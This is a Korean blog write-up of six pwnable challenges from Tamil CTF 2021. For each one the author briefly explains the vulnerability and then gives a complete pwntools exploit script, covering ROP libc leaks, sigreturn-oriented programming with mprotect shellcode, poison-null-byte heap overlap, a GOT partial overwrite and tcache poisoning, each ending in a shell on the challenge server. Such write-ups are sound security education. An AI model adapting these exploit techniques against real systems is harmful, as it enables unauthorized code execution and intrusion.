Sechack

Tamil CTF pwnable Write up 본문

CTF

Tamil CTF pwnable Write up

Sechack 2021. 10. 1. 00:02
반응형

이번엔 민욱이형이랑 같이 TeamH4C CTF팀이 아닌 다른 CTF팀으로 참여했다. 평일에 하는거여서 시간이 약간 부족한감이 있었는데 포너블 올클도 하고 나름대로 만족스러웠다. 최종 결과는 19등이다. 버스탔다. ㅋㅋ Syno계정은 지용님이랑 민욱이형이 같이쓴 계정이다. 아무튼 쌉캐리..

 

 

 

 

 

그럼 write up시작!!

 

 

Name_Server

 

 

걍 bof터진다. rop하면된다.

 

from pwn import *

r = remote("3.97.113.25", 9001)
e = ELF("./name-serv")

pop_rdi = 0x4006d3
puts_plt = e.plt["puts"]
puts_got = e.got["puts"]

payload = b"a"*0x28
payload += p64(pop_rdi)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(e.sym["main"])

r.sendafter("name: ", payload)

leak = u64(r.recvuntil("\x7f")[-6:].ljust(8, b"\x00"))
libc_base = leak - 0x0875a0
system = libc_base + 0x055410
binsh = libc_base + 0x1b75aa

final = b"a"*0x28
final += p64(pop_rdi)
final += p64(binsh)
final += p64(pop_rdi + 1)
final += p64(system)

r.sendafter("name: ", final)

r.interactive()

 

 

 

Stress_Rope

 

 

 

가장 마지막에 운영자분 힌트받고 푼 문제이다. 놀랍게도 바이너리는 위에 사진에 보이는게 전부이다. pop rax는 없지만 read syscall이용해서 rax는 조작할 수 있다. 가젯도 없어서 저기서 뭘 할 수 있나 싶었는데 방법은 있었다. 창의력이 필요한 문제였다. 먼저 rax를 0xf로 만들고 sigreturn이용해서 mprotect syscall불러서 code영역에 rwx박는다. 되게 신박하다 ㅋㅋ 그런다음 rwx박은곳에 쉘코드 넣고 뛰면 된다.

 

 

from pwn import *

context.arch = 'amd64'

#r = process("./echo-echo")
r = remote("147.182.172.200", 9002)
e = ELF("./echo-echo")

shellcode = asm(shellcraft.execve("/bin/sh\x00", 0, 0))

frame = SigreturnFrame()
frame.rax = 0xa
frame.rsi = 0x80
frame.rdx = 7
frame.rdi = 0x400000
frame.rsp = 0x400018
frame.rip = 0x40009B

payload = b"a"*8
payload += p64(0x4000A6)
payload += p64(0x400085)+p64(0)
payload += bytes(frame)

sleep(0.3)
r.send(payload)
sleep(0.3)
r.send(b"a"*8+p64(0x40009B)[:7])
sleep(0.3)
r.send(b"a"*8+p64(0x400020)+shellcode)

r.interactive()

 

 

 

Vuln_Storage

 

 

이렇게 생긴 바이너리이다. glibc 2.25를 사용하는데 2.23이랑 크게 다르진 않다. 2.23익스하듯이 하면된다. 1번 메뉴에서 chunk할당할 수 있고 2번 메뉴에서 chunk해제할 수 있고 3번 메뉴에서 chunk수정할 수 있고 4번 메뉴에서 chunk볼 수 있는 전형적인 힙문제이다. 분석하기 싫게 생긴 포인터 연산이 조금 있지만 분석하다보면 취약점이 보인다.

 

      case 3:
        write(1, "\nEnter the index:", 0x11uLL);
        __isoc99_scanf("%d", &v5);
        if ( v5 < 0 || v5 > 14 )
        {
          puts("But we cannot give you any integer bugs to exploit");
        }
        else if ( *(_QWORD *)&v6[4 * v5 + 1] && v12 > v5 )
        {
          write(1, "\nEnter the data:", 0x10uLL);
          v11 = read(0, *(void **)&v6[4 * v5 + 1], v6[4 * v5 + 3]);
          memset((void *)(*(_QWORD *)&v6[4 * v5 + 1] + v11), 0, 1uLL);
          puts("Data successfully written on chunk");
        }
        else
        {
          puts("What are you even trying uaf or double free!!Nothing works here");
        }
        break;

 

 

이부분에서 memset((void *)(*(_QWORD *)&v6[4 * v5 + 1] + v11), 0, 1uLL); 이걸 해주면서 앞에 1바이트를 NULL로 만든다. 따라서 chunk를 꽉채워서 입력을 줄경우 next chunk의 size를 1byte건드려서 NULL로 만들 수 있다. Poison NULL byte 기법 써서 익스하면 된다. chunk A, B, C 3개 할당하고 A를 해제한뒤 B에서 Poison NULL byte터뜨려서 C chunk의 size 1byte를 NULL로 덮은다음 C chunk해제하면 A, B, C 3개가 병합되고 unsorted bin에 들어간다. 하지만 B chunk는 프로그램에서는 allocate된 chunk로 인식하기 때문에 A chunk크기만큼 다시 할당해서 언숄빈 주소를 B chunk주소로 맞춰주고 B chunk출력하면 릭된다. 그리고 이미 chunk가 overlapping된 상태이므로 B chunk사이즈 조져서 fastbin으로 넣어준뒤에 fd수정해서 aaw하면 된다. heap주소 leak안하고 푸는 poison null byte는 이번이 처음인것 같다. pwnable.tw Secret Of My Heart문제는 heap주소 leak해서 poison null byte를 unsafe unlink랑 연계시켜서 풀었었는데 이번에는 오로지 poison null byte만을 이용했다.

 

 

from pwn import *

#r = process(["./cute_little_vulnerable_storage"], env={'LD_PRELOAD':'./libc-2.25.so'})
r = remote("3.99.48.161", 9005)
e = ELF("./cute_little_vulnerable_storage")
libc = ELF("libc-2.25.so")

def add(size):
	r.sendlineafter("Exit\n", "1")
	r.sendlineafter("size:", str(size))

def free(idx):
	r.sendlineafter("Exit\n", "2")
	r.sendlineafter("index:", str(idx))

def edit(idx, data):
	r.sendlineafter("Exit\n", "3")
	r.sendlineafter("index:", str(idx))
	r.sendafter("data:", data)

def show(idx):
	r.sendlineafter("Exit\n", "4")
	r.sendlineafter("index", str(idx))

add(0xf8)
add(0x68)
add(0xf8)
add(0x20)

free(0)
edit(1, b"a"*0x60+p64(0x170))
free(2)
add(0xf8)

show(1)

leak = u64(r.recvuntil("\x7f")[-6:].ljust(8, b"\x00"))
libc_base = leak - libc.sym["__malloc_hook"] - 0x68
system = libc_base + libc.sym["system"]
binsh = libc_base + list(libc.search(b"/bin/sh\x00"))[0]
malloc_hook = libc_base + libc.sym["__malloc_hook"] - 0x23
print(hex(libc_base))

free(4)

add(0x260)
edit(5, b"a"*0xf0+p64(0x100)+p64(0x71))
free(1)

edit(5, b"a"*0xf0+p64(0x100)+p64(0x71)+p64(malloc_hook))

add(0x60)
add(0x60)

edit(7, b"a"*0x13+p64(system))
add(binsh)

r.interactive()

 

 

 

No_Output

 

 

함수 목록 보니까 출력함수 없이 read함수만 준다. Partial RELRO여서 got overwrite가 가능하고 libc버전은 대충 glibc 2.31일거라고 게싱했는데 진짜 되길래 pwnable.tw unexploitable문제랑 비슷하게 read got를 1byte덮어서 syscall로 만들고 해당 syscall이용해서 익스했다. 만약 glibc 2.31이 아나리면 glibc 2.23, glibc 2,27에서 해볼생각이었고 걔네까지 안되면 1byte brute force날려서 read를 syscall로 만드는 offset을 알아낼 생각이었는데 운좋게 glibc 2.31이 걸린거였다. 그리고 이건 언인텐이었다. libc를 안준 이유가 있었다. 인텐풀이는 ret2dl_resolve기법을 쓰는거였다. 들어본적은 있어도 실제로 써본적은 없고 쓸일도 딱히 없었던 기법이어서 머릿속에서 잊혀지고 있었다.

 

 

from pwn import *

#r = process("./chall2")
r = remote("3.99.48.161", 9004)
e = ELF("./chall2")

read_plt = e.plt["read"]
read_got = e.got["read"]

pop_csu = 0x4011FE
reg_csu = 0x4011E8

def mkcsu(call, first, second, third):
        payload = p64(pop_csu)
        payload += p64(0)+p64(1)
        payload += p64(first)+p64(second)+p64(third)
        payload += p64(call)
        payload += p64(reg_csu)

        return payload

payload = b"a"*0x28
payload += p64(pop_csu)
payload += mkcsu(read_got, 0, 0x404040, 8)
payload += mkcsu(read_got, 0, read_got, 1)
payload += mkcsu(read_got, 1, read_got, 0x3b)
payload += mkcsu(read_got, 0x404040, 0, 0)

sleep(1)
r.send(payload)
sleep(0.3)
r.send(b"/bin/sh\x00")
sleep(0.3)
r.send(b"\x40")

r.interactive()

 

 

 

Insecure_System

 

 

code영역 주소랑 libc주소를 그냥 준다. 바이너리 안에 셸 주는 함수도 있다. 그리고 read함수에서 overflow터져서 v2포인터를 덮을 수 있어서 원하는 주소에 aaw가 가능하다. 처음에는 scanf쓰니까 vtable조져보려 했는데 이미 scanf내부에서 vtable을 사용한 뒤에 값이 써지길래 main함수가 return한다음 exit가 호출될때 쓸만한 함수포인터 있나 하고 계속 타고 들어가보다가 하나 발견했다.

 

 

 

이부분 덮어쓰면 될듯했다. 그래서 덮어봤더니 쉘 따인다.

 

 

from pwn import *

#r = process("./chall3")
r = remote("3.97.113.25", 9003)
e = ELF("./chall3")
libc = ELF("./libc6_2.31-0ubuntu9.2_amd64.so")

r.recvuntil("STUFF ")

libc_leak = int(r.recv(14), 16)
r.recv(1)
vuln_leak = int(r.recv(14), 16)

libc_base = libc_leak - libc.sym["system"]
exit_vtable = libc_base + 0x1ed608

pie_base = vuln_leak - 0x11a2
one_gadget = pie_base + 0x1185

print(hex(libc_base))
print(hex(pie_base))

payload = b"a"*0x28
payload += p64(exit_vtable)

r.sendafter("Insecure!!!!\n", payload)
r.sendline(str(one_gadget))

r.interactive()

 

 

 

University_Pwn

 

 

 

Vuln Storage상위호환이라고 하던데 난 이문제가 Vuln Storage보다 쉬웠다. glibc는 2.31버전을 제공해줬다. 이 문제도 역시 분석을 해야되는데 딱봐도 strlen이 수상해보인다. 좀더 분석해보면

 

 

if ( (int (**)(const char *))size == (int (**)(const char *))((char *)&system + 1450394)
            || size > 0x17 && size <= 0x88 )
          {
            s = malloc(size);
            if ( s )
            {
              write(1, "Enter the student's name\n>>", 0x1BuLL);
              read(0, &v10[96 * v7], 0x14uLL);
              write(1, "Enter the student's marks\n>>", 0x1CuLL);
              __isoc99_scanf("%d", &v6);
              if ( v6 <= 39 || v6 > 100 )
              {
                puts("Students should be given pass marks which is between 40 and 100.If not falling back to 40");
                *(_DWORD *)&v10[96 * v7 + 20] = 40;
              }
              else
              {
                *(_DWORD *)&v10[96 * v7 + 20] = v6;
              }
              write(1, "Enter the Remarks for the Students\n>>", 0x25uLL);
              read(0, &v10[96 * v7 + 24], 0x38uLL);
              memset(s, 0, 0x10uLL);
              *(_QWORD *)&v10[96 * v7 + 80] = s;
              *(_DWORD *)&v10[96 * v7 + 88] = size;
              write(1, "Enter something as a log for correcting this paper\n>>", 0x35uLL);
              read(0, *(void **)&v10[96 * v7 + 80], *(int *)&v10[96 * v7 + 88]);
              ++v7;
            }
            else
            {
              puts("Sorry can't retrieve the answer sheet");
            }
          }
          else
          {
            puts("Sorry student record size should be only between 24 and 136");
          }

 

1번 메뉴에서 우리가 할당한 chunk주소가 현재 인덱스 + 80위치에 저장되는데 보면 다른 메뉴들도 이 부분을 참조해서 chunk를 읽고 쓰고 한다. read함수로 현재 인덱스 + 24의 위치에 0x38을 입력받는데 0x38을 꽉채워서 입력하게 되면 chunk주소 직전까지 NULL없이 꽉 채울 수 있고

 

 

size = strlen(&v10[96 * v5 + 24]);
write(1, "Enter the Remarks for the Students\n>>", 0x25uLL);
read(0, &v10[96 * v5 + 24], size);

 

결과적으로 edit기능을 하는 메뉴의 이 부분에서 strlen을 부르게 되면 chunk주소까지 인식하게 된다. 따라서 chunk주소를 덮을 수 있다. chunk주소를 맘대로 조작할 수 있다는건 해제된 chunk에 값을 쓰고 읽을 수 있다는 뜻이 된다. tcache를 사용하므로 8번 free해서 unsorted bin에 넣고 chunk주소 조작해서 unsorted bin에 들어간 chunk가리키게 만들고 릭하면 된다. 그리고 또 chunk주소 속여서 fd덮어주고 aaw해주면 된다.

 

 

from pwn import *

#r = process("./akka_university")
r = remote("3.99.48.161", 9006)
e = ELF("./akka_university")
libc = ELF("./libc6_2.31-0ubuntu9.2_amd64.so")

def add(size, name, num, data2, realdata):
    r.sendlineafter(">>", "1")
    r.sendlineafter(">>", str(size))
    r.sendafter(">>", name)
    r.sendlineafter(">>", str(num))
    r.sendafter(">>", data2)
    r.sendafter(">>", realdata)

def free(idx):
    r.sendlineafter(">>", "2")
    r.sendlineafter(">>", str(idx))

def show(idx):
    r.sendlineafter(">>", "3")
    r.sendlineafter(">>", str(idx))

def edit(idx, name, num, data2, realdata):
    r.sendlineafter(">>", "4")
    r.sendlineafter(">>", str(idx))
    r.sendafter(">>", name)
    r.sendlineafter(">>", str(num))
    r.sendafter(">>", data2)
    r.sendafter(">>", realdata)

for i in range(8):
    add(0x88, b"Sechack"+str(i).encode(), 40, b"a"*0x38, b"a"*0x88)

for i in range(8, -1, -1):
    free(i)

add(0x20, b"Sechack8", 40, b"a"*0x38, b"Sechack8")
edit(8, b"Sechack8", 40, b"a"*0x38+b"\xd0", b"Sechack8")
show(8)

leak = u64(r.recvuntil("\x7f")[-6:].ljust(8, b"\x00"))
libc_base = leak - libc.sym["__malloc_hook"] - 0x70
free_hook = libc_base + libc.sym["__free_hook"]
system = libc_base + libc.sym["system"]
print(hex(libc_base))

add(0x80, b"Sechack9", 40, b"a"*0x38, b"Sechack9")
edit(9, b"Sechack9", 40, b"a"*0x38+b"\xc0", b"Sechack9")
edit(9, b"Sechack9", 40, b"a"*0x38, p64(free_hook))

add(0x80, b"Sechack10", 40, b"a"*0x38, b"/bin/sh\x00")
add(0x80, b"Sechack11", 40, b"a"*0x38, p64(system))

free(10)

r.interactive()

 

 

반응형

'CTF' 카테고리의 다른 글

2021 Layer7 CTF write up  (0) 2021.11.21
The Hacking Championship Junior 2021 제출용 write-up  (0) 2021.10.22
FwordCTF 2021 - Blacklist Revenge 풀이  (0) 2021.08.28
corCTF 2021 - CShell 풀이  (0) 2021.08.22
SSTF 2021 - SW Expert Academy 풀이  (0) 2021.08.17
Comments